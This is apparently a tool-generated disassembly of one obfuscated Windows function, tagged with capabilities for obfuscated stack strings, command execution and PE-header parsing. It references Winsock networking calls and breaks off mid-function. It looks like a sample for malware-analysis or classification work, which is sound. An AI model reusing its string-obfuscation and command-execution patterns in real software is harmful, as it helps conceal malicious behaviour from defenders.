Function at 0x140045070
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x1401fdbc0]
xor rax, rsp
mov qword [rbp + 0x258], rax
mov dword [rsp + 0x70], 0x849e7b73
mov dword [rsp + 0x74], 0xa892abad
mov dword [rsp + 0x78], 0x9886babf
mov dword [rsp + 0x7c], 0x8ababea5
mov dword [rbp - 0x80], 0x8f7072bd
mov dword [rbp - 0x7c], 0xb1bfb780
mov dword [rbp - 0x78], 0x1b898bbd
xor eax, eax
mov qword [rbp - 0x74], rax
mov dword [rbp - 0x6c], eax
mov word [rbp - 0x68], ax
movabs r13, 0xd65a22d534b69708
movabs r14, 0x9564db7d52fa63a8
movabs r15, 0x62f0e9c39f240158
movabs r12, 0xb63ca41935b6d348
movzx edi, byte [rsp + 0x20]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x2a
jae 0x140045cf7
movzx r10d, byte [rsp + r11 + 0x70]
movzx esi, r10b
cmp rbx, r11
ja 0x140045cee
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140045173
lea rcx, [r11 + r13]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
sub dil, 0x38
jmp 0x1400451a0
je 0x140045c73
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140045be9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140045bad
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140045b91
movzx esi, r10b
cmp r8, r11
ja 0x140045ce5
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x1400451d2
lea rdx, [r11 + r14]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x140045213
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140045b46
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140045b04
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140045ae2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140045ac6
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140045a98
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400457fa
lea rcx, [r8 + 0x20]
cmp rbx, rcx
je 0x1400457da
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400457af
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140045783
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14004575d
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140045734
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140045712
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400456fe
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400456d8
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400456c4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140045220
mov rbx, rcx
lea r8, [rcx + 0x400]
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
jb 0x140045cc5
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140045ca8
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14004540a
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400453eb
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400453cc
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140045664
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140045615
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400455c4
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14004559a
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140045220
mov rbx, rcx
lea r8, [rcx + 1]
lea rcx, [r8 + 0xa]
cmp rbx, rcx
ja 0x140045569
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140045543
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140045520
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400454fa
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400454d9
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400454b3
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140045487
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14004545c
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140045432
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140045220
mov rbx, rcx
lea r8, [rcx + 0x200]
jmp 0x140045220
lea rdx, [r11 + r15]
movzx eax, r10b
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140045213
lea rdx, [r11 + r12]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x1400451a4
movabs rdx, 0x9885e6ecc49a538
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x140045147
movabs rcx, 0xab26dbea97d31d40
add rcx, r11
and r10b, cl
mov eax, 0x20
sub al, r10b
lea edi, [rax + rax]
add dil, sil
add dil, cl
movzx r9d, r11b
jmp 0x140045b64
movabs rax, 0xfe7296402e65ef30
add rax, r11
and r10b, al
add r10b, r10b
sub sil, r10b
lea edi, [rax + rsi]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140045133
movabs rcx, 0x51be5095c4f8c120
add rcx, r11
and r10b, cl
mov eax, reloc.WS2_32.dll_recv
sub al, r10b
lea edi, [rax + rax]
add dil, sil
add dil, cl
dec r11
inc r11
jmp 0x140045133
movabs rcx, 0xa50a0aeb5b8b9310
add rcx, r11
and r10b, cl
add r10b, r10b
movzx edi, sil
sub dil, r10b
sub dil, 0x70
add dil, cl
jmp 0x140045b1e
movabs rax, 0xf855c540f21e6500
add rax, r11
and r10b, al
add r10b, r10b
sub sil, r10b
lea edi, [rax + rsi]
add rbx, r8
jmp 0x140045bd0
movabs rcx, 0x4ba17f9688b136f0
add rcx, r11
and r10b, cl
mov eax, gethostname
sub al, r10b
lea edi, [rax + rax]
add dil, sil
add dil, cl
jmp 0x140045bd0
movabs rcx, 0x9eed39ec1f4408e0
add rcx, r11
and r10b, cl
add r10b, r10b
movzx edi, sil
sub dil, r10b
sub dil, 0x20
jmp 0x140045c07
movabs rcx, 0xf238f441b5d6dad0
add rcx, r11
and r10b, cl
mov eax, 0x28
sub al, r10b
lea edi, [rax + rax]
add dil, sil
add dil, cl
jmp 0x140045c32
movabs rax, 0x4584ae974c69acc0
add rax, r11
and r10b, al
add r10b, r10b
sub sil, r10b
lea edi, [rax + rsi]
sub dil, 0x40
movzx eax, byte [rsp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140045133
movabs rax, 0x15c2006d44d8b998
add rax, r11
and r10b, al
add r10b, r10b
sub sil, r10b
lea edi, [rax + rsi]
sub dil, 0x28
mov byte [rsp + r11 + 0x70], dil
inc r11
jmp 0x140045133
movabs rdx, 0x690dbac2db6b8b88
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
cmp r8, 6
jb 0x1400455b7
movzx r9d, r11b
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
movzx esi, r10b
jmp 0x140045b64
movabs rcx, 0xbc59751871fe5d78
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub sil, al
lea edi, [rcx + rsi]
sub dil, 0x48
cmp rbx, 0x64
jae 0x140045a57
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x1400459b4
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400455e4
movabs rdx, 0xfa52f6e08912f68
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 9
je 0x140045a76
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x1400458f4
lea edx, [r11 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
add dil, dl
jmp 0x140045634
movabs rcx, 0x805d24eff1de55f0
mov eax, gethostname
jmp 0x140045c82
movabs rcx, 0xd3a8df45887127e0
add rcx, r11
and r10b, cl
add r10b, r10b
movzx edi, sil
sub dil, r10b
sub dil, 0x20
add dil, cl
jmp 0x140045c32
movabs rcx, 0x26f4999b1f03f9d0
mov eax, 0x28
jmp 0x140045bf8
movabs rax, 0x7a4053f0b596cbc0
add rax, r11
and r10b, al
add r10b, r10b
sub sil, r10b
lea edi, [rax + rsi]
sub dil, 0x40
jmp 0x140045bd0
movabs rcx, 0xcd8c0e464c299db0
add rcx, r11
and r10b, cl
mov eax, 0x18
sub al, r10b
lea edi, [rax + rax]
add dil, sil
add dil, cl
add rbx, r8
jmp 0x140045bd0
movabs rcx, 0x20d7c89be2bc6fa0
add rcx, r11
and r10b, cl
add r10b, r10b
movzx edi, sil
sub dil, r10b
sub dil, 0x60
add dil, cl
jmp 0x140045b1e
movabs rcx, 0x742382f1794f4190
add rcx, r11
and r10b, cl
mov eax, 8
sub al, r10b
lea edi, [rax + rax]
add dil, sil
add dil, cl
dec r11
inc r11
jmp 0x140045133
movabs rax, 0xc76f3d470fe21380
add rax, r11
and r10b, al
add r10b, r10b
sub sil, r10b
lea edi, [rax + rsi]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x140045133
movzx r9d, r11b
lea edx, [r9 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x10
jmp 0x140045b61
lea rcx, [r8 + 9]
cmp rbx, rcx
jae 0x14004581f
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x38
jmp 0x140045684
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140045853
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x30
movzx eax, byte [rsp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140045133
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004587b
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
jmp 0x140045bd0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400458a6
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x140045bd0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400458cb
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
jmp 0x140045b1b
cmp rbx, rcx
jne 0x140045687
movzx r9d, r11b
lea edx, [r9 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140045b61
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004591d
movzx r9d, r11b
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140045b61
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004594b
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140045133
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140045976
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x140045bd0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140045988
lea edx, [r11 + 0x48]
jmp 0x140045bba
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140045634
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140045c0a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400459e8
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x60
movzx eax, byte [rsp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140045133
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140045a14
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx esi, r10b
jmp 0x140045c32
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140045a2b
lea edx, [r11 - 0x30]
mov ecx, 0x28
jmp 0x140045bbf
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400455e7
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x20
add rbx, r8
jmp 0x140045bd0
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
movzx esi, r10b
jmp 0x140045b1b
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x30
add dil, dl
jmp 0x140045c0a
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rsp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140045133
lea ecx, [r11 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x38
jmp 0x140045bd0
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x140045bd0
lea edx, [r11 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
add dil, dl
lea edx, [r11 + 0x48]
movzx eax, sil
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, sil
add cl, dil
add cl, dl
mov byte [rsp + r11 + 0x70], cl
add rbx, r8
jmp 0x140045bd0
movzx r9d, r11b
lea edx, [r9 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
add dil, dl
add r9b, 0x38
movzx eax, sil
and al, r9b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, sil
add cl, r9b
mov byte [rsp + r11 + 0x70], cl
inc r8
dec r11
inc r11
jmp 0x140045133
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x68
add rbx, r8
jmp 0x140045bd0
movabs rdx, 0x892b397eda6b4f48
add rdx, r11
mov ecx, 4
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140045133
movabs rcx, 0xdc76f3d470fe2138
mov eax, 0x3c
add rcx, r11
and r10b, cl
sub al, r10b
lea edi, [rax + rax]
add dil, sil
add dil, cl
lea edx, [r11 + 0x58]
movzx eax, sil
and al, dl
add al, al
movzx ecx, sil
sub cl, al
sub cl, 0x68
add cl, dl
movzx eax, cl
mov byte [rsp + r11 + 0x70], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x60]
movzx eax, sil
and al, dl
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, sil
add cl, dl
mov byte [rsp + r11 + 0x70], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140045133
movabs rcx, 0x830e687f9e23c518
mov eax, 0x2c
add rcx, r11
and r10b, cl
sub al, r10b
lea edi, [rax + rax]
add dil, sil
add dil, cl
movzx eax, byte [rsp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140045133
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x18
jmp 0x140045130
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x140045117
lea rdx, [rbp + 0x16d78d0]
jmp 0x140045cfc
lea rdx, [rbp + 0x1240fd8]
jmp 0x140045cfc
lea rdx, [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x110], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140045d23
lea rcx, [rbp + 0xf8]
call fcn.1400413d0
lea rax, [rbp + 0xf8]
mov qword [rbp + 0xa0], rax
xor r8d, r8d
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x118]
call fcn.140040bb0
nop
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 7
cmova rcx, qword [rbp + 0x118]
call fcn.1401443c4
test eax, eax
jne 0x14004c6ea
lea rcx, [rbp + 0x118]
call fcn.14004f340
nop
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x140045dd3
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045dce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045dce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401427c8
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf8], 0
lea rax, [rbp + 0x138]
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0x70], 0xc1bacee3
mov dword [rbp + 0x74], 0x3ee3c5c9
mov dword [rbp + 0x78], 0x30384632
mov dword [rbp + 0x7c], 0x4045fb47
mov word [rbp + 0x80], 0xc54b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x82], xmm0
mov qword [rbp + 0x92], rax
movabs r13, 0xd73c6b6807ff4d79
movabs r14, 0x911fc6a847f9b941
movabs r12, 0xe2a6efd837fb1e4f
movabs r15, 0x85b5423817fde86b
movzx edi, byte [rsp + 0x20]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r9, qword [rax]
xor r10d, r10d
cmp r10, 0x2a
jae 0x1400466a9
movzx r8d, byte [rbp + r10 + 0x70]
mov edx, r8d
nop dword [rax]
cmp rbx, r10
ja 0x1400466a0
lea r11, [r9 + 1]
cmp rbx, r11
jae 0x140045ec4
lea rcx, [r10 + r13]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x4f
lea rcx, [r9 + 3]
lea rsi, [r9 + 2]
jmp 0x140045f10
je 0x140046636
lea rcx, [r9 + 3]
cmp rbx, rcx
je 0x1400465b9
lea rsi, [r9 + 2]
cmp rbx, rsi
je 0x14004658d
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140046572
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140046534
lea rax, [r9 + 7]
cmp rbx, rax
je 0x140046513
nop dword [rax + rax]
cmp r9, r10
ja 0x140046697
lea rax, [r9 + 0x64]
cmp rbx, rax
jae 0x140045f3a
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7b
jmp 0x140045f62
cmp rbx, r11
je 0x1400464cf
cmp rbx, rcx
je 0x1400464b0
cmp rbx, rsi
je 0x140046492
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140046477
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1400461aa
nop
lea rax, [r9 + 0x42]
cmp rbx, rax
je 0x140046187
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140046164
lea rax, [r9 + 0x61]
cmp rbx, rax
je 0x140046145
lea rax, [r9 + 0x28]
cmp rbx, rax
je 0x140045f70
mov rbx, rax
lea r9, [rax + 0x28]
lea rax, [r9 + 0x28]
cmp rbx, rax
jb 0x14004667a
lea rax, [r9 + 3]
cmp rbx, rax
jb 0x14004665d
lea rax, [r9 + 0x400]
cmp rbx, rax
jb 0x1400460a3
lea rax, [r9 + 0x10]
cmp rbx, rax
jb 0x140046080
mov rbx, rax
lea r9, [rax + 0x10]
lea rax, [r9 + 1]
cmp rbx, rax
ja 0x140046052
lea rax, [r9 + 0x200]
cmp rbx, rax
ja 0x140046034
lea rax, [r9 + 9]
cmp rbx, rax
ja 0x140046010
lea rbx, [r9 + 0x5a]
lea r9, [rbx + 0x5a]
jmp 0x140045f70
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3a
inc r9
dec r10
inc r10
jmp 0x140045e76
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
add rbx, r9
jmp 0x1400465a0
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r8b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx eax, byte [rbp + r10 + 0x70]
add rax, r9
add r10, rax
inc r10
jmp 0x140045e76
lea ecx, [r10 + 0x7b]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5d
mov byte [rbp + r10 + 0x70], dil
inc r10
jmp 0x140045e76
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x7d
lea rax, [r9 + rbx]
cmp rax, 0x20
je 0x14004645b
lea rax, [r9 + 0x20]
cmp rbx, rax
jbe 0x140046280
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x2d
cmp rbx, 0xa
jae 0x140046435
lea rax, [r9 + 0xa]
cmp rbx, rax
jbe 0x140046351
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
cmp r9, 0x41
jb 0x140046096
movzx r11d, r10b
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r8b
mov edx, 3
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1400464e9
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r8b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400465cf
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r8b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx r11d, r10b
jmp 0x14004654e
lea edx, [r10 - 2]
movzx eax, dl
and al, r8b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx r11d, r10b
jmp 0x1400464e9
lea rax, [r9 + 0x40]
cmp rbx, rax
jae 0x1400461ce
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4f
jmp 0x1400460b9
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140046205
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r8b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx eax, byte [rbp + r10 + 0x70]
add rax, r9
add r10, rax
inc r10
jmp 0x140045e76
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140046229
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x1400465cf
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140046250
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
add rbx, r9
jmp 0x1400465a0
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1400460b9
movzx r11d, r10b
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400464e9
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1400462a8
movzx r11d, r10b
lea ecx, [r11 - 0x39]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x71
jmp 0x1400464e9
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400462d2
lea ecx, [r10 - 0x55]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x53
dec r10
inc r10
jmp 0x140045e76
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1400462f6
lea ecx, [r10 - 0x7f]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x79
jmp 0x1400465a0
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14004631a
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x25
jmp 0x1400465cf
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1400460ea
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x61
movzx eax, byte [rbp + r10 + 0x70]
add rax, r9
add r10, rax
inc r10
jmp 0x140045e76
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140046388
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx eax, byte [rbp + r10 + 0x70]
add rax, r9
add r10, rax
inc r10
jmp 0x140045e76
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1400463af
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
add rbx, r9
jmp 0x1400465a0
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400463d7
movzx r11d, r10b
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
jmp 0x14004654e
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140046405
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r8b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
dec r10
inc r10
jmp 0x140045e76
lea rax, [r9 + 9]
cmp rbx, rax
jne 0x140046117
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400464e9
movzx r11d, r10b
lea edx, [r11 + 0x28]
movzx eax, dl
and al, r8b
add al, al
movzx edi, r8b
sub dil, al
sub dil, 0x18
add dil, dl
add dil, r8b
jmp 0x14004654e
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r8b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400465cf
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x33
jmp 0x1400465cf
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x6f
add rbx, r9
jmp 0x1400465a0
movzx r11d, r10b
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0xd
jmp 0x14004654e
movzx r11d, r10b
lea ecx, [r11 - 0x21]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x19
sub r11b, 0x51
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x37
add r11b, r8b
mov byte [rbp + r10 + 0x70], r11b
inc r9
dec r10
inc r10
jmp 0x140045e76
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5f
dec r10
inc r10
jmp 0x140045e76
movzx r11d, r10b
